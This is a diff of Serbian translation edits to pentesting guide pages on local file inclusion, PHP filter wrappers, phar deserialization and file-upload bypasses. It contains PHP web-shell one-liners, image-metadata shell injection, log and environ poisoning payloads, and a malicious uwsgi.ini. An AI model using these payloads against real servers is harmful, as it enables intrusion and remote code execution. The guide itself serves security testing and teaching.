## Top 25 parametara
|
||||
|
||||
Evo liste top 25 parametara koji bi mogli biti podložni lokalnim ranjivostima uključivanja datoteka (LFI) (iz [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Evo liste od 25 najvažnijih parametara koji bi mogli biti podložni lokalnim ranjivostima uključivanja datoteka (LFI) (iz [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -225,10 +229,10 @@ PHP filteri omogućavaju osnovne **operacije modifikacije podataka** pre nego š
|
||||
- `convert.iconv.*` : Transformiše u drugačiju kodiranje (`convert.iconv.<input_enc>.<output_enc>`). Da biste dobili **listu svih podržanih kodiranja**, pokrenite u konzoli: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Zloupotrebom `convert.iconv.*` konverzionog filtera možete **generisati proizvoljan tekst**, što može biti korisno za pisanje proizvoljnog teksta ili pravljenje funkcije poput uključivanja koja obrađuje proizvoljan tekst. Za više informacija pogledajte [**LFI2RCE putem php filtera**](lfi2rce-via-php-filters.md).
|
||||
> Zloupotrebom `convert.iconv.*` konverzionog filtera možete **generisati proizvoljan tekst**, što može biti korisno za pisanje proizvoljnog teksta ili pravljenje funkcije kao što je uključivanje procesa proizvoljnog teksta. Za više informacija pogledajte [**LFI2RCE putem php filtera**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Kompresuje sadržaj (korisno ako se eksfiltrira puno informacija)
|
||||
- `zlib.deflate`: Kompresuje sadržaj (korisno ako se eksfiltrira mnogo informacija)
|
||||
- `zlib.inflate`: Dekompresuje podatke
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : Zastarjelo
|
||||
@ -273,12 +277,12 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
|
||||
U originalnom postu možete pronaći detaljno objašnjenje tehnike, ali evo brzog pregleda:
|
||||
|
||||
- Koristite codec **`UCS-4LE`** da ostavite vodeći karakter teksta na početku i povećate veličinu stringa eksponencijalno.
|
||||
- Koristite kodek **`UCS-4LE`** da ostavite vodeći karakter teksta na početku i povećate veličinu stringa eksponencijalno.
|
||||
- Ovo će se koristiti za generisanje **teksta toliko velikog kada je početno slovo tačno pogođeno** da će php izazvati **grešku**.
|
||||
- **dechunk** filter će **ukloniti sve ako prvi karakter nije heksadecimalni**, tako da možemo znati da li je prvi karakter heks.
|
||||
- Ovo, u kombinaciji sa prethodnim (i drugim filtrima u zavisnosti od pogođenog slova), će nam omogućiti da pogodimo slovo na početku teksta gledajući kada uradimo dovoljno transformacija da ga učinimo neheksadecimalnim karakterom. Jer ako je heks, dechunk ga neće obrisati i početna bomba će izazvati php grešku.
|
||||
- Codec **convert.iconv.UNICODE.CP930** transformiše svako slovo u sledeće (tako da nakon ovog codec-a: a -> b). Ovo nam omogućava da otkrijemo da li je prvo slovo `a`, na primer, jer ako primenimo 6 ovog codec-a a->b->c->d->e->f->g slovo više nije heksadecimalni karakter, stoga dechunk ga nije obrisao i php greška je izazvana jer se množi sa početnom bombom.
|
||||
- Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je eksfiltrirati druga slova kao n, o, p, q, r (i drugi codeci se mogu koristiti za pomeranje drugih slova u heks opseg).
|
||||
- Kodek **convert.iconv.UNICODE.CP930** transformiše svako slovo u sledeće (tako da nakon ovog kodeka: a -> b). Ovo nam omogućava da otkrijemo da li je prvo slovo `a`, na primer, jer ako primenimo 6 ovog kodeka a->b->c->d->e->f->g slovo više nije heksadecimalni karakter, stoga dechunk ga nije obrisao i php greška je izazvana jer se množi sa početnom bombom.
|
||||
- Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je eksfiltrirati druge karaktere kao što su n, o, p, q, r (i drugi kodeci se mogu koristiti za pomeranje drugih slova u heks opseg).
|
||||
- Kada je početni karakter broj, potrebno je da se base64 kodira i eksfiltrira prva 2 slova da bi se otkrio broj.
|
||||
- Konačni problem je videti **kako eksfiltrirati više od početnog slova**. Korišćenjem redoslednih memorijskih filtera kao što su **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** moguće je promeniti redosled karaktera i dobiti na prvoj poziciji druga slova teksta.
|
||||
- I kako bismo mogli da dobijemo **dalje podatke**, ideja je da **generišemo 2 bajta smešnih podataka na početku** sa **convert.iconv.UTF16.UTF16**, primenimo **UCS-4LE** da bi se **povezali sa sledeća 2 bajta**, i **obrišemo podatke do smešnih podataka** (ovo će ukloniti prva 2 bajta početnog teksta). Nastavite to da radite dok ne dođete do željenog bita za eksfiltraciju.
|
||||
@ -292,11 +296,11 @@ Ovaj omotač omogućava pristup deskriptorima fajlova koje proces ima otvorene.
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
Možete takođe koristiti **php://stdin, php://stdout i php://stderr** za pristup **fajl deskriptorima 0, 1 i 2** respektivno (nisam siguran kako bi ovo moglo biti korisno u napadu)
|
||||
Možete takođe koristiti **php://stdin, php://stdout i php://stderr** za pristup **file descriptors 0, 1 i 2** respektivno (nisam siguran kako bi ovo moglo biti korisno u napadu)
|
||||
|
||||
### zip:// i rar://
|
||||
|
||||
Otpremite Zip ili Rar fajl sa PHPShell unutar i pristupite mu.\
|
||||
Otpremite Zip ili Rar datoteku sa PHPShell unutar i pristupite joj.\
|
||||
Da biste mogli da zloupotrebite rar protokol, **mora biti posebno aktiviran**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
@ -366,8 +370,8 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
Moguće je zloupotrebiti **bilo koji proizvoljni fajl pročitan iz PHP-a koji podržava php filtere** da bi se dobio RCE. Detaljan opis može se [**naći u ovom postu**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Veoma kratak rezime: **3-bajtni overflow** u PHP heap-u je zloupotrebljen da bi se **izmenio lanac slobodnih chunk-ova** specifične veličine kako bi se moglo **pisati bilo šta na bilo kojoj adresi**, tako da je dodat hook za pozivanje **`system`**.\
|
||||
Bilo je moguće zloupotrebiti **bilo koji proizvoljni fajl pročitan iz PHP-a koji podržava php filtere** da bi se dobio RCE. Detaljan opis može se [**naći u ovom postu**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Veoma kratak rezime: **3 bajta overflow** u PHP heap-u je zloupotrebljeno da se **izmeni lanac slobodnih chunk-ova** specifične veličine kako bi se moglo **pisati bilo šta na bilo kojoj adresi**, tako da je dodat hook za pozivanje **`system`**.\
|
||||
Bilo je moguće alocirati chunk-ove specifičnih veličina zloupotrebljavajući više php filtera.
|
||||
|
||||
### More protocols
|
||||
@ -385,7 +389,7 @@ Check more possible[ **protocols to include here**](https://www.php.net/manual/e
|
||||
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
Local File Inclusion (LFI) rizici u PHP-u su posebno visoki kada se radi sa funkcijom 'assert', koja može izvršiti kod unutar stringova. Ovo je posebno problematično ako se unos koji sadrži karaktere za prelazak direktorijuma kao što je ".." proverava, ali se ne sanitizuje pravilno.
|
||||
Local File Inclusion (LFI) rizici u PHP-u su posebno visoki kada se radi sa funkcijom 'assert', koja može izvršiti kod unutar stringova. Ovo je posebno problematično ako se unos koji sadrži karaktere za prelazak direktorijuma kao što su ".." proverava, ali se ne sanitizuje pravilno.
|
||||
|
||||
For example, PHP code might be designed to prevent directory traversal like so:
|
||||
```bash
|
||||
@ -404,7 +408,7 @@ Važno je **URL-enkodirati ove payload-e**.
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Ova tehnika je relevantna u slučajevima kada **kontrolišete** **putanju fajla** PHP funkcije koja će **pristupiti fajlu** ali nećete videti sadržaj fajla (kao jednostavan poziv na **`file()`**) ali sadržaj nije prikazan.
|
||||
> Ova tehnika je relevantna u slučajevima kada **kontrolišete** **putanju fajla** PHP funkcije koja će **pristupiti fajlu** ali nećete videti sadržaj fajla (kao jednostavan poziv **`file()`**) ali sadržaj nije prikazan.
|
||||
|
||||
U [**ovom neverovatnom postu**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) objašnjeno je kako se slepa putanja može zloupotrebiti putem PHP filtera da se **ekstrahuje sadržaj fajla putem greške orakla**.
|
||||
|
||||
@ -414,7 +418,7 @@ Zatim, da bi se otkrio prvi karakter, filter **`dechunk`** se koristi zajedno sa
|
||||
|
||||
**Funkcije koje bi mogle biti ranjive**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (samo ciljani read only sa ovim)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Za tehničke detalje pogledajte pomenuti post!
|
||||
Za tehničke detalje proverite pomenuti post!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
@ -453,18 +457,18 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
### Putem /proc/\*/fd/\*
|
||||
|
||||
1. Učitajte puno shell-ova (na primer: 100)
|
||||
2. Uključite [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), sa $PID = PID procesa (može se brute-forcovati) i $FD datoteka deskriptora (može se takođe brute-forcovati)
|
||||
2. Uključite [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), sa $PID = PID procesa (može se brute force-ovati) i $FD datoteka deskriptora (takođe može da se brute force-uje)
|
||||
|
||||
### Putem /proc/self/environ
|
||||
|
||||
Kao log datoteka, pošaljite payload u User-Agent, biće reflektovan unutar /proc/self/environ datoteke
|
||||
Kao log fajl, pošaljite payload u User-Agent, biće reflektovan unutar /proc/self/environ fajla
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Putem otpremanja
|
||||
### Putem upload-a
|
||||
|
||||
Ako možete otpremiti datoteku, jednostavno umetnite shell payload u nju (npr: `<?php system($_GET['c']); ?>`).
|
||||
Ako možete da otpremite fajl, jednostavno ubacite shell payload u njega (npr: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
@ -472,7 +476,7 @@ Da bi se datoteka održala čitljivom, najbolje je ubrizgati u metapodatke slika
|
||||
|
||||
### Putem učitavanja Zip datoteke
|
||||
|
||||
Učitajte ZIP datoteku koja sadrži PHP shell u kompresovanom obliku i pristupite:
|
||||
Učitajte ZIP datoteku koja sadrži PHP shell kompresovanu i pristupite:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
@ -502,9 +506,9 @@ Ako je ssh aktivan, proverite koji korisnik se koristi (/proc/self/status & /etc
|
||||
|
||||
### **Putem** **vsftpd** _**logova**_
|
||||
|
||||
Logovi za FTP server vsftpd se nalaze na _**/var/log/vsftpd.log**_. U scenariju gde postoji ranjivost Local File Inclusion (LFI), i pristup izloženom vsftpd serveru je moguć, sledeći koraci se mogu razmotriti:
|
||||
Logovi za FTP server vsftpd se nalaze na _**/var/log/vsftpd.log**_. U scenariju gde postoji ranjivost Local File Inclusion (LFI) i pristup izloženom vsftpd serveru je moguć, sledeći koraci se mogu razmotriti:
|
||||
|
||||
1. Injektujte PHP payload u polje korisničkog imena tokom procesa prijavljivanja.
|
||||
1. Umetnite PHP payload u polje za korisničko ime tokom procesa prijavljivanja.
|
||||
2. Nakon injekcije, iskoristite LFI da preuzmete server logove sa _**/var/log/vsftpd.log**_.
|
||||
|
||||
### Putem php base64 filtera (koristeći base64)
|
||||
@ -547,7 +551,7 @@ Ako ste pronašli **Local File Inclusion** čak i ako **nemate sesiju** i `sessi
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### Putem otpremanja privremenih fajlova u Windows-u
|
||||
### Putem privremenih otpremanja fajlova u Windows-u
|
||||
|
||||
Ako ste pronašli **Local File Inclusion** i server radi na **Windows-u**, možda ćete dobiti RCE:
|
||||
|
||||
|
@ -2,9 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
**Phar** datoteke (PHP Archive) **sadrže meta podatke u serijalizovanom formatu**, tako da, kada se analiziraju, ovi **metapodaci** se **deserijalizuju** i možete pokušati da iskoristite **deserijalizaciju** ranjivost unutar **PHP** koda.
|
||||
**Phar** datoteke (PHP Archive) **sadrže meta podatke u serijalizovanom formatu**, tako da, kada se analiziraju, ovi **metapodaci** se **deserijalizuju** i možete pokušati da iskoristite **vulnerabilnost deserijalizacije** unutar **PHP** koda.
|
||||
|
||||
Najbolja stvar u vezi sa ovom karakteristikom je da će se ova deserijalizacija dogoditi čak i korišćenjem PHP funkcija koje ne izvršavaju PHP kod kao što su **file_get_contents(), fopen(), file() ili file_exists(), md5_file(), filemtime() ili filesize()**.
|
||||
|
||||
@ -50,7 +48,7 @@ $object = new AnyClass('whoami');
|
||||
$phar->setMetadata($object);
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
Napomena kako su **magic bytes of JPG** (`\xff\xd8\xff`) dodati na početak phar datoteke kako bi se **zaobišle** **moguće** **restrikcije** **upload-a** datoteka.\
|
||||
Napomena kako su **magične bajtove JPG** (`\xff\xd8\xff`) dodate na početak phar datoteke da bi se **zaobišle** **moguće** **restrikcije** **upload-a** **datoteka**.\
|
||||
**Kompajlirajte** datoteku `test.phar` sa:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_phar.php
|
||||
@ -61,8 +59,8 @@ php vuln.php
|
||||
```
|
||||
### Reference
|
||||
|
||||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://blog.ripstech.com/2018/new-php-exploitation-technique/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## File Upload General Methodology
|
||||
|
||||
Other useful extensions:
|
||||
@ -19,10 +18,10 @@ Other useful extensions:
|
||||
### Bypass file extensions checks
|
||||
|
||||
1. Ako se primenjuju, **proverite** **prethodne ekstenzije.** Takođe ih testirajte koristeći neka **velika slova**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Proverite **dodavanje važeće ekstenzije pre** ekstenzije za izvršavanje (koristite prethodne ekstenzije takođe):_
|
||||
2. _Proverite **dodavanje važeće ekstenzije pre** ekstenzije izvršenja (koristite prethodne ekstenzije takođe):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Pokušajte dodati **specijalne karaktere na kraju.** Možete koristiti Burp za **bruteforce** sve **ascii** i **Unicode** karaktere. (_Napomena: takođe možete pokušati da koristite **prethodno** pomenute **ekstenzije**_)
|
||||
3. Pokušajte dodati **specijalne karaktere na kraju.** Možete koristiti Burp da **bruteforce** sve **ascii** i **Unicode** karaktere. (_Napomena: takođe možete pokušati da koristite **prethodno** pomenute **ekstenzije**_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -46,13 +45,13 @@ Other useful extensions:
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Pokušajte da stavite **exec ekstenziju pre važeće ekstenzije** i molite se da je server pogrešno konfigurisan. (korisno za eksploataciju Apache pogrešnih konfiguracija gde bilo šta sa ekstenzijom **_**.php**_**, ali** ne nužno završava u .php** će izvršiti kod):
|
||||
- _ex: file.php.png_
|
||||
7. Koristeći **NTFS alternativni podatkovni tok (ADS)** u **Windows-u**. U ovom slučaju, karakter dvotačka “:” će biti umetnut nakon zabranjene ekstenzije i pre dozvoljene. Kao rezultat, **prazna datoteka sa zabranjenom ekstenzijom** će biti kreirana na serveru (npr. “file.asax:.jpg”). Ova datoteka može biti kasnije uređena koristeći druge tehnike kao što je korišćenje njenog kratkog imena. Uzorak “**::$data**” se takođe može koristiti za kreiranje nepraznih datoteka. Stoga, dodavanje tačke nakon ovog uzorka može takođe biti korisno za zaobilaženje daljih ograničenja (npr. “file.asp::$data.”)
|
||||
7. Korišćenje **NTFS alternativnog toka podataka (ADS)** u **Windows-u**. U ovom slučaju, karakter dvotačka “:” će biti umetnut nakon zabranjene ekstenzije i pre dozvoljene. Kao rezultat, **prazna datoteka sa zabranjenom ekstenzijom** će biti kreirana na serveru (npr. “file.asax:.jpg”). Ova datoteka može biti uređena kasnije koristeći druge tehnike kao što je korišćenje njenog kratkog imena. Uzorak “**::$data**” se takođe može koristiti za kreiranje nepraznih datoteka. Stoga, dodavanje tačke nakon ovog uzorka može takođe biti korisno za zaobilaženje daljih ograničenja (npr. “file.asp::$data.”)
|
||||
8. Pokušajte da prekinete ograničenja imena datoteke. Važeća ekstenzija se skraćuje. A zlonameran PHP ostaje. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
# Upload the file and check response how many characters it alllows. Let's say 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
@ -62,29 +61,29 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
- Zaobiđite **Content-Type** provere postavljanjem **vrednosti** **Content-Type** **header-a** na: _image/png_ , _text/plain , application/octet-stream_
|
||||
- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Zaobiđite **magic number** proveru dodavanjem na početak datoteke **bajtova pravog imidža** (zbunite _file_ komandu). Ili uvesti shell unutar **metapodataka**:\
|
||||
- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` ili takođe možete **direktno uvesti payload** u sliku:\
|
||||
`\` or you could also **introduce the payload directly** in an image:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Ako se **kompresija dodaje vašoj slici**, na primer koristeći neke standardne PHP biblioteke kao što je [PHP-GD](https://www.php.net/manual/fr/book.image.php), prethodne tehnike neće biti korisne. Međutim, možete koristiti **PLTE chunk** [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
|
||||
- [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Web stranica takođe može **menjati veličinu** **slike**, koristeći na primer PHP-GD funkcije `imagecopyresized` ili `imagecopyresampled`. Međutim, možete koristiti **IDAT chunk** [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
|
||||
- [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Još jedna tehnika za pravljenje payload-a koji **preživljava promenu veličine slike**, koristeći PHP-GD funkciju `thumbnailImage`. Međutim, možete koristiti **tEXt chunk** [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
|
||||
- [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Other Tricks to check
|
||||
|
||||
- Pronađite ranjivost da **preimenujete** već otpremljenu datoteku (da promenite ekstenziju).
|
||||
- Pronađite ranjivost da **preimenujete** već otpremeljenu datoteku (da promenite ekstenziju).
|
||||
- Pronađite **Local File Inclusion** ranjivost da izvršite backdoor.
|
||||
- **Moguće otkrivanje informacija**:
|
||||
1. Otpremite **više puta** (i u **isto vreme**) **istu datoteku** sa **istim imenom**
|
||||
2. Otpremite datoteku sa **imenom** datoteke ili **foldera** koji **već postoji**
|
||||
3. Otpremite datoteku sa **“.”, “..”, ili “…” kao njenim imenom**. Na primer, u Apache-u u **Windows-u**, ako aplikacija čuva otpremne datoteke u “/www/uploads/” direktorijumu, ime “.” će kreirati datoteku pod nazivom “uploads” u “/www/” direktorijumu.
|
||||
4. Otpremite datoteku koja se možda ne može lako obrisati kao što je **“…:.jpg”** u **NTFS**. (Windows)
|
||||
5. Otpremite datoteku u **Windows-u** sa **nevažećim karakterima** kao što su `|<>*?”` u njenom imenu. (Windows)
|
||||
1. Otpremite **several times** (i u **isto vreme**) **istu datoteku** sa **istim imenom**
|
||||
2. Otpremite datoteku sa **imennom** datoteke ili **foldera** koji **već postoji**
|
||||
3. Otpremite datoteku sa **“.”, “..”, ili “…” kao njenim imenom**. Na primer, u Apache-u u **Windows-u**, ako aplikacija čuva otpremeljene datoteke u “/www/uploads/” direktorijumu, ime “.” će kreirati datoteku pod nazivom “uploads” u “/www/” direktorijumu.
|
||||
4. Otpremite datoteku koja možda neće biti lako obrisana kao što je **“…:.jpg”** u **NTFS**. (Windows)
|
||||
5. Otpremite datoteku u **Windows-u** sa **nevalidnim karakterima** kao što su `|<>*?”` u njenom imenu. (Windows)
|
||||
6. Otpremite datoteku u **Windows-u** koristeći **rezervisana** (**zabranjena**) **imena** kao što su CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
|
||||
- Takođe pokušajte da **otpremite izvršnu** (.exe) ili **.html** (manje sumnjivu) datoteku koja **će izvršiti kod** kada je slučajno otvori žrtva.
|
||||
|
||||
@ -93,9 +92,9 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
Ako pokušavate da otpremite datoteke na **PHP server**, [pogledajte **.htaccess** trik za izvršavanje koda](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Ako pokušavate da otpremite datoteke na **ASP server**, [pogledajte **.config** trik za izvršavanje koda](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Datoteke `.phar` su poput `.jar` za java, ali za php, i mogu se **koristiti kao php datoteka** (izvršavajući je sa php, ili uključujući je unutar skripte...)
|
||||
Datoteke `.phar` su kao `.jar` za java, ali za php, i mogu se **koristiti kao php datoteka** (izvršavajući je sa php, ili uključujući je unutar skripte...)
|
||||
|
||||
Ekstenzija `.inc` se ponekad koristi za php datoteke koje se koriste samo za **uvoz datoteka**, tako da je u nekom trenutku neko mogao dozvoliti **izvršavanje ove ekstenzije**.
|
||||
Ekstenzija `.inc` se ponekad koristi za php datoteke koje se koriste samo za **uvoz datoteka**, tako da je u nekom trenutku neko mogao dozvoliti **da se ova ekstenzija izvrši**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
@ -105,11 +104,11 @@ Ako možete otpremiti XML datoteku na Jetty server, možete dobiti [RCE jer se *
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
Za detaljnu analizu ove ranjivosti proverite originalno istraživanje: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
Za detaljno istraživanje ove ranjivosti proverite originalno istraživanje: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Ranjivosti Remote Command Execution (RCE) mogu se iskoristiti na uWSGI serverima ako imate mogućnost da modifikujete `.ini` konfiguracionu datoteku. uWSGI konfiguracione datoteke koriste specifičnu sintaksu za uključivanje "magic" varijabli, mesta i operatora. Značajno, operator '@', korišćen kao `@(filename)`, je dizajniran da uključi sadržaj datoteke. Među raznim podržanim shemama u uWSGI, "exec" shema je posebno moćna, omogućavajući čitanje podataka iz standardnog izlaza procesa. Ova funkcija se može iskoristiti za zle svrhe kao što su Remote Command Execution ili Arbitrary File Write/Read kada se obradi `.ini` konfiguraciona datoteka.
|
||||
Ranjivosti daljinskog izvršenja komandi (RCE) mogu se iskoristiti na uWSGI serverima ako imate mogućnost da modifikujete `.ini` konfiguracionu datoteku. uWSGI konfiguracione datoteke koriste specifičnu sintaksu za uključivanje "magic" varijabli, mesta i operatora. Značajno, operator '@', korišćen kao `@(filename)`, je dizajniran da uključi sadržaj datoteke. Među raznim podržanim šemama u uWSGI, "exec" šema je posebno moćna, omogućavajući čitanje podataka iz standardnog izlaza procesa. Ova funkcija se može iskoristiti za zle svrhe kao što su daljinsko izvršenje komandi ili proizvoljno pisanje/čitanje datoteka kada se obradi `.ini` konfiguraciona datoteka.
|
||||
|
||||
Razmotrite sledeći primer štetne `uwsgi.ini` datoteke, prikazujući razne sheme:
|
||||
Razmotrite sledeći primer štetne `uwsgi.ini` datoteke, prikazujući razne šeme:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -161,27 +160,27 @@ Napomena da **druga opcija** koju možda razmišljate da zaobiđete ovu proveru
|
||||
|
||||
## Alati
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) je moćan alat dizajniran da pomogne Pentesterima i Lovcima na greške u testiranju mehanizama za učitavanje datoteka. Koristi razne tehnike bug bounty-a kako bi pojednostavio proces identifikacije i eksploatacije ranjivosti, osiguravajući temeljne procene web aplikacija.
|
||||
